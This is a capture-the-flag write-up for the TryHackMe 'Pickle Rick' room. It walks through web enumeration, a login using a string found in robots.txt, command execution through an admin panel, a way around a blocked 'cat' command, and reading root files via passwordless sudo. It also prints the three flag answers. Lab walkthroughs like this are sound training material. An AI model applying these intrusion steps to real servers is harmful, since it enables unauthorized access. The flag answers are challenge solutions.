TryHackMe Pickle Rick Writeup

This Rick and Morty themed challenge requires us to exploit a web server and find the 3 ingredients Rick needs for his potion.

Discovery

We were given the website's IP address. Opening it in a browser showed the home page below.

I ran gobuster to discover more pages. It found two, but neither contained anything useful.

Enumeration

I next viewed the home page source and found something useful. It wasn't a vulnerability, but I wrote it down:

I then ran nmap with the --script vuln parameter. It found two pages that gobuster had missed.

The /robots.txt page contained a string that looked like gibberish. I noted it in case it became useful later.

The /login.php page showed a login portal. I had the username from the home page source but still needed a password. Brute forcing it with Burp Suite failed, so I tried the string from /robots.txt. It worked.

The login redirected me to an admin portal with a command panel. The other pages weren't useful, so I focused on the commands page.

Exploitation

I tested the panel with whoami and ls, which confirmed that it could run commands.

whoami
www-data

ls
Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt

The output revealed the first flag and a clue. The cat command didn't work, so I looked for alternatives and tried more and less. More failed, but less displayed both files.

less Sup3rS3cretPickl3Ingred.txt
mr. meeseek hair

less clue.txt
Look around the file system for the other ingredient.

The clue suggested that path traversal might be possible. I used pwd to check the current directory, then cd and ls to test it.

pwd
/var/www/html

cd ../../../../ && ls
bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz

The home directory contained two users, rick and ubuntu. Listing rick's files revealed the second flag, which I displayed with less.

cd ../../../home/rick && less "second ingredients"
1 jerry tear

Next, I checked the root directory. Sudo worked without a password, and less displayed the third flag.

sudo less /root/3rd.txt
3rd ingredients: fleeb juice